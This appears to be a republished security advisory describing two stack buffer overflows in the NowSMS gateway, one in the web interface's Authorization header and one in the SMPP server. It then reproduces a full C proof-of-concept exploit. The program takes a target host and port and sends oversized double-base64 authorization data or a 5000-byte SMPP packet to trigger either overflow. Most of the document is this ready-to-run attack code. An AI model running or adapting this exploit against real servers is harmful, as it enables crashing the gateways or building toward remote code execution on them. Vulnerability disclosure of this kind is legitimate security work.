|
|
|
|
| |
| NowSMS is "a commercial SMS and MMS Content Delivery Solution". Two buffer overflow vulnerabilities have been discovered in NowSMS. |
| |
Credit:
The information has been provided by Luigi Auriemma.
The original article can be found at: http://aluigi.altervista.org/adv/nowsmsz-adv.txt
|
| |
Vulnerable Systems:
* Now SMS/MMS Gateway version 2007.06.27
Web authorization buffer-overflow
The web interface of NowSMS which listens on port 8800 allows the users to use the gateway for sending various types of messages (EMS, binary, WAP, MMS and so on).
The function which handles the base64 password located in the HTTP Authorization parameter is affected by a stack based buffer-overflow exploitable with more than 256 bytes.
The server can be exploited both in case it requires and doesn't require authentication.
SMPP buffer-overflow
NowSMS uses a stack buffer of 4 kilobytes for containing the incoming SMPP packets. The lack of checks on the real size of these packets (max 0xffffffff bytes) leads to a buffer-overflow vulnerability which can be exploited by an attacker to execute malicious code remotely.
The SMPP server is not enabled by default and doesn't have a default listening port (the admin must decide it).
Exploit:
/*
by Luigi Auriemma - http://aluigi.org/poc/nowsmsz.zip
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#define sleep Sleep
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#define ONESEC 1
#endif
typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;
#define VER "0.1"
#define BUFFSZ 8192
#define BOF1SZ 300
#define BOF2SZ 5000
int smpp_send(int sd, int id, u8 *data, int datalen);
u8 *base64_encode(u8 *data, int *size);
int putcc(u8 *data, int chr, int len);
int getxx(u8 *data, u32 *ret, int bits);
int putxx(u8 *data, u32 num, int bits);
int timeout(int sock, int secs);
u32 resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
len,
attack;
u16 port;
u8 buff[BUFFSZ],
*b64;
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
setbuf(stdout, NULL);
fputs("\n"
"NowSMS <= v2007.06.27 multiple buffer-overflow "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: aluigi.org\n"
"\n", stdout);
if(argc < 3) {
printf("\n"
"Usage: %s <attack> <host> [port]\n"
"\n"
"Attacks:\n"
" 1 = web authorization buffer-overflow (default port 8800)\n"
" 2 = SMPP buffer-overflow (default port 2775)\n"
"\n", argv[0]);
exit(1);
}
attack = atoi(argv[1]);
switch(attack) {
case 1: port = 8800; break;
case 2: port = 2775; break;
default: {
printf("\nError: wrong attack number (%s)\n", argv[1]);
exit(1);
} break;
}
if(argc > 3) port = atoi(argv[3]);
peer.sin_addr.s_addr = resolv(argv[2]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n", inet_ntoa(peer.sin_addr), ntohs(peer.sin_port));
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
if(attack == 1) {
printf("- web authorization buffer-overflow\n");
len = BOF1SZ;
putcc(buff, 'A', len);
b64 = base64_encode(buff, &len);
b64 = base64_encode(b64, &len);
len = sprintf(buff,
"GET / HTTP/1.0\r\n"
"Authorization: Basic %s\r\n"
"\r\n", b64);
send(sd, buff, len, 0);
} else if(attack == 2) {
printf("- SMPP buffer-overflow\n");
putcc(buff, 'A', BOF2SZ);
smpp_send(sd, 4, buff, BOF2SZ);
}
if(!timeout(sd, 5)) recv(sd, buff, BUFFSZ, 0);
close(sd);
printf("- done\n");
return(0);
}
int smpp_send(int sd, int id, u8 *data, int datalen) {
u8 tmp[16];
putxx(tmp, 16 + datalen, 32); // command_length
putxx(tmp + 4, id, 32); // command_id
putxx(tmp + 8, 0, 32); // command_status
putxx(tmp + 12, 1, 32); // sequence_number
send(sd, tmp, 16, 0);
send(sd, data, datalen, 0);
return(0);
}
u8 *base64_encode(u8 *data, int *size) {
int len,
a,
b,
c;
u8 *buff,
*p;
static const u8 base[64] = {
'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P',
'Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f',
'g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v',
'w','x','y','z','0','1','2','3','4','5','6','7','8','9','+','/'
};
if(!size || (*size < 0)) { // use size -1 for auto text size!
len = strlen(data);
} else {
len = *size;
}
buff = malloc(((len / 3) << 2) + 6);
if(!buff) return(NULL);
p = buff;
do {
a = data[0];
b = data[1];
c = data[2];
*p++ = base[(a >> 2) & 63];
*p++ = base[(((a & 3) << 4) | ((b >> 4) & 15)) & 63];
*p++ = base[(((b & 15) << 2) | ((c >> 6) & 3)) & 63];
*p++ = base[c & 63];
data += 3;
len -= 3;
} while(len > 0);
*p = 0;
for(; len < 0; len++) *(p + len) = '=';
if(size) *size = p - buff;
return(buff);
}
int putcc(u8 *data, int chr, int len) {
memset(data, chr, len);
return(len);
}
int getxx(u8 *data, u32 *ret, int bits) {
u32 num;
int i,
bytes;
bytes = bits >> 3;
for(num = i = 0; i < bytes; i++) {
num |= (data[i] << ((bytes - 1 - i) << 3));
}
*ret = num;
return(bytes);
}
int putxx(u8 *data, u32 num, int bits) {
int i,
bytes;
bytes = bits >> 3;
for(i = 0; i < bytes; i++) {
data[i] = (num >> ((bytes - 1 - i) << 3)) & 0xff;
}
return(bytes);
}
int timeout(int sock, int secs) {
struct timeval tout;
fd_set fd_read;
tout.tv_sec = secs;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
if(select(sock + 1, &fd_read, NULL, NULL, &tout)
<= 0) return(-1);
return(0);
}
u32 resolv(char *host) {
struct hostent *hp;
u32 host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u32 *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
|
|
|
|
|
|
|